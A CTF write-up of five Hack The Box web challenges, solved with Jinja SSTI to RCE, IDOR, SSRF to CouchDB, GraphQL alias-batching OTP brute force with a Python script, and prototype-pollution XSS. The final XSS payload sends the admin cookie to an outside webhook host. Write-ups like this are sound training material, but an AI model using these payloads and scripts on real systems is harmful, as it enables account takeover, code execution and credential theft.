# Description
I participated in this CTF competition with Heroes Cyber Security (HCS), the cybersecurity community team from Institut Teknologi Sepuluh Nopember (ITS).
This write-up covers all Website Exploitation challenges. All of the challenges were tackled using black-box testing methods only, without any source code access or internal hints.
We managed to secure 2nd place out of 1322 teams.
Special thanks to @HyggeHacylon and @rootkids, who participated with me.
Also, thanks to Hack The Box for organizing this event.
[toc]
# JinjaCare (Very Easy)
> Jinjacare is a web application designed to help citizens manage and access their COVID-19 vaccination records. The platform allows users to store their vaccination history and generate digital certificates. They've asked you to hunt for any potential security issues in their application and retrieve the flag stored in their site.
## TL;DR
Jinja SSTI to RCE.
## Solve
We've got a website, that we could do a register.

After that, we tried to input some test payload `{{7*7}}` one the fullname column.

Check at our dashboard, there a feature to download the certificate.

Download the certificate, then we could see the payload is working that the fullname is changed to `49`.

Then we use this payload to listing the directory.
```
{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}
```

We see the flag, and get it.
```
{{config.__class__.__init__.__globals__['os'].popen('cat /fla*').read()}}
```

```
HTB{v3ry_e4sy_sst1_r1ght?_7e648e055a049c36e9ccc5e2c7811db5}
```
# NeoVault (Very Easy)
>Neovault is a trusted banking application that allows users to effortlessly transfer funds to one another and conveniently download their transaction history. We invite you to explore the application for any potential vulnerabilities and uncover the flag hidden within its depths.
## TL;DR
IDOR.
## Solve
We need to register to see the API endpoint.

After that, you will notice we've got a transfer transaction from user `neo_system`.

By using this API endpoint, we could get the `_id`.
```
GET /api/v2/auth/inquire?username=neo_system HTTP/1.1
Host: 94.237.59.174:38845
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: */*
Referer: http://94.237.59.174:38845/dashboard/transfer
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY4NWY1NTA4NGZkMmUyN2VmMTg2MjVkNSIsImlhdCI6MTc1MTA3ODE2NCwiZXhwIjoxNzUxMDgxNzY0fQ.HlxKChYffj4JD6YFkVUgAVsU6mLRnDmPACHz8Hg4V18
Connection: close
```

Then, i found the v1 endpoint for downloading transactions history like this.
```
POST /api/v1/transactions/download-transactions HTTP/1.1
Host: 94.237.59.174:38845
Content-Length: 4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.59.174:38845
Referer: http://94.237.59.174:38845/dashboard/transactions
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY4NWY1NTA4NGZkMmUyN2VmMTg2MjVkNSIsImlhdCI6MTc1MTA3ODY5MiwiZXhwIjoxNzUxMDgyMjkyfQ.3t_U6bIbxStwj9eE286TIaF1YkqveIlA4euKcaEkwQ0
Connection: close
{}
```

We use the `_id` of `neo_system` user to download the transactions history.
And we've got the history there a user named `user_with_flag`.

By using the `/api/v2/auth/inquire?username=` endpoint, we've could obtain the `_id` of user `user_with_flag`

Then create this request, to obtain the `user_with_flag` transactions history.
```
POST /api/v1/transactions/download-transactions HTTP/1.1
Host: 94.237.59.174:38845
Content-Length: 43
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.59.174:38845
Referer: http://94.237.59.174:38845/dashboard/transactions
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY4NWY1NTA4NGZkMmUyN2VmMTg2MjVkNSIsImlhdCI6MTc1MTA3ODY5MiwiZXhwIjoxNzUxMDgyMjkyfQ.3t_U6bIbxStwj9eE286TIaF1YkqveIlA4euKcaEkwQ0
Connection: close
{
"_id": "685f54584fd2e27ef18625cc"
}
```

```
HTB{n0t_s0_3asy_1d0r_42de8d73f2536a5e978b9183e02ca7cb}
```
# CitiSmart (Easy)
> Citismart is an innovative Smart City monitoring platform aimed at detecting anomalies in public sector operations. We invite you to explore the application for any potential vulnerabilities and uncover the hidden flag within its depths.
## TL;DR
Hidden endpoint to SSRF.
## Solve
We've got a login page of the website.

After that, we do some inspect on the javascript file.

We make a request at the endpoint.
```
GET /api/dashboard/metrics/ HTTP/1.1
Host: 94.237.54.192:40907
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
If-None-Match: W/"1f2-QM+DzI0DmIlXc8i/6FUgt9TI7S8"
Connection: close
```
But we've got a response like this.

Which is we need to do login, to execute those endpoints.
The unique case is, there some broken authentication likely that even our password is wrong but username contains admin email, we still get the JWT Token.

At the `/api/dashboard/endpoints/`, we see there are like 4 endpoints.
After that we do some little scanning and found there CouchDB service at port `5984`.
We make a request like this.
```
POST /api/dashboard/endpoints/ HTTP/1.1
Host: 94.237.54.192:40907
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbiI6ZmFsc2UsImFkbWluIjpmYWxzZSwiaWF0IjoxNzUxMDkxNTM3LCJleHAiOjE3NTEwOTUxMzd9.7h8SsmlsKPbh22TXvbLon73ORnnahs0GeMKgfKvhhXI
If-None-Match: W/"1f2-QM+DzI0DmIlXc8i/6FUgt9TI7S8"
Connection: close
Content-Type: application/json
Content-Length: 66
{
"url":"http://127.0.0.1:5984/citismart/FLAG?",
"sector":"a"
}
```
Then visit the `/api/dashboard/metrics/` to see the flag.

```
HTB{sm4rt_cit1_but_n0t_s3cur3_4bf0b2bde948bbf36d579b0820fe971d}
```
# SpeedNet (Easy)
> Speednet is an Internet Service Provider platform that enables users to purchase internet services. We invite you to participate in our bug bounty program to identify any potential vulnerabilities within the application and retrieve the flag hidden on the site. For your testing, we have provided additional email services. Please find the details below:
Email Site: `http://IP:PORT/emails/` Email Address: test@email.htb
## TL;DR
Graphql aliases abuse lead to account takeover.
## Solve
We've given the endpoints of emails.

We tried to register the account with email `test@email.htb`.

Then we do some query inspection at the graphql endpoint.
```
POST /graphql HTTP/1.1
Host: 94.237.57.211:45678
Content-Length: 91
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsImlhdCI6MTc1MTA5MzcyNSwiZXhwIjoxNzUxMDk3MzI1fQ.DSQSd4qVobZ305CeOxyCg6Hp30F1_QveRUWOl9iVQXg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.57.211:45678
Referer: http://94.237.57.211:45678/profile
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
{
"query": "query IntrospectionQuery { __schema { types { name fields { name } } } }"
}
```
We've got some interesting mutation that named `devForgotPassword`.

Next, we do some little IDOR to leak the admin email for reset password.
```
POST /graphql HTTP/1.1
Host: 94.237.57.211:45678
Content-Length: 145
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsImlhdCI6MTc1MTA5MzcyNSwiZXhwIjoxNzUxMDk3MzI1fQ.DSQSd4qVobZ305CeOxyCg6Hp30F1_QveRUWOl9iVQXg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.57.211:45678
Referer: http://94.237.57.211:45678/profile
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
{
"query": "query { userProfile(userId: 1) { id email firstName lastName username phoneNumber address plan planStatus trialEndDate } }"
}
```
The admin email is obtained `admin@speednet.htb`.

We do reset password on the admin account.
```
POST /graphql HTTP/1.1
Host: 94.237.120.202:37497
Content-Length: 98
Authorization:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.120.202:37497
Referer: http://94.237.120.202:37497/login
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
{
"query": "mutation DevForgotPassword { devForgotPassword(email: \"admin@speednet.htb\") }"
}
```
Got the reset token.

Changed the password to `hacked`.
```
POST /graphql HTTP/1.1
Host: 94.237.120.202:37497
Content-Length: 119
Authorization:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://94.237.120.202:37497
Referer: http://94.237.120.202:37497/login
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
{
"query": "mutation { resetPassword(token: \"4ef9b7e8-ce20-46d1-9dc4-d43cd44b4e18\", newPassword: \"hacked\") }"
}
```
We do login, but unfortunate got the OTP verification.

After stuck long time, i tried to activate the OTP on the `test@email.htb` account, and there are 4 digits which is possible to brute.

But the bad news is, we can't brute it because there are rate limitting request on the website.
We got stuck again :joy:
Then we look the reference, there are graphql alias query
https://inigo.io/blog/defeating_controls_with_alias-based_query_batching
That it's possible to brute it, by alias batching on the graphql endpoint.

Next, we request to send the OTP.

We build a automation script like this, that there will batching from 1-499, 500-999, and goes on.
```py=1
import httpx
import argparse
import time
class Exploiter:
def __init__(self, target: str):
self.client = httpx.Client(base_url=target, timeout=10.0)
def verify_token(self, token: str, start: int, end: int):
query = "mutation {\n"
for i in range(start, end + 1):
otp = f"{i:04d}"
query += f' verify{i}: verifyTwoFactor(token: "{token}", otp: "{otp}") {{\n'
query += " token\n"
query += " }\n"
query += "}\n"
return self.client.post("/graphql", json={"query": query})
def exploit(self):
token = "e92533ce-f6b0-4d38-94c3-2692e6eafcff"
step = 499
for start in range(1, 10000, step):
end = min(start + step - 1, 9999)
print(f"[+] Trying range: {start}-{end}")
res = self.verify_token(token, start, end)
if "token" in res.text and "GRAPHQL_VALIDATION_FAILED" not in res.text:
print("[+] Possible match:")
print(res.text)
return
time.sleep(1) # optional delay
@staticmethod
def parse_args():
parser = argparse.ArgumentParser(description="Exploit a GraphQL 2FA endpoint.")
parser.add_argument("-t", "--target", required=True, help="Target base URL (e.g., http://host:port)")
return parser.parse_args()
if __name__ == "__main__":
args = Exploiter.parse_args()
exploiter = Exploiter(args.target)
exploiter.exploit()
```
We've got the correct OTP.

Login as admin with the token.

```
HTB{gr4phql_3xpl01t_1n_a_nutsh3ll_cd416f6e9c20434fc2a859341ad4af81}
```
# Sattrack (Medium)
> Welcome to the Sattrack Bug Bounty Invitational for Authorized Users! Sattrack is a premier platform dedicated to monitoring satellite data, exclusively available to our selected authorized partners. We invite you to participate in our limited bug bounty program, aimed at identifying and addressing any security vulnerabilities within our application. Your contributions are invaluable in helping us maintain the integrity and security of our services.
You may use partner@rockyou.xyz:partn3r123 as a valid credentials.
To ensure optimal site performance, we have established a dedicated support page at /report. Here, you can submit the URLs of any issues (non-security related) you encounter, and our admin team will promptly investigate and provide assistance.
## TL;DR
Prototype Pollution XSS by JSON Escaping.
## Solve
We've got the partner account, and we tried login.
The interesting is we got the `/partner/share` endpoint that's likely exploitable since the reference is JSON Escaping.


We even got the admin bot, so we sure this are some XSS challenge.

Error message at the login is the key to do prototype pollution and using the `/partner/share` endpoint.
By making this payload.
```
http://94.237.121.185:44578/login?message={%22__proto__%22:{%22JS_FILES%22:[%22/partner/share?type=\%22};alert()//%22]}}
```
The alert is fired :fire: .

Send the url payload like this to admin bot.
```
http://127.0.0.1/login?message={%22__proto__%22:{%22JS_FILES%22:[%22/partner/share?type=\%22};fetch(%27https://webhook.site/7bb0ffea-8d85-4450-929d-9388efa8e3a1?%27%25252Bdocument.cookie)//%22]}}
```
Got the admin token.

Login with admin account.

```
HTB{cl13nt_s1d3_pp_4r3_d4ng3r0us_b9be715ac1a0e7abae138973117b053a}
```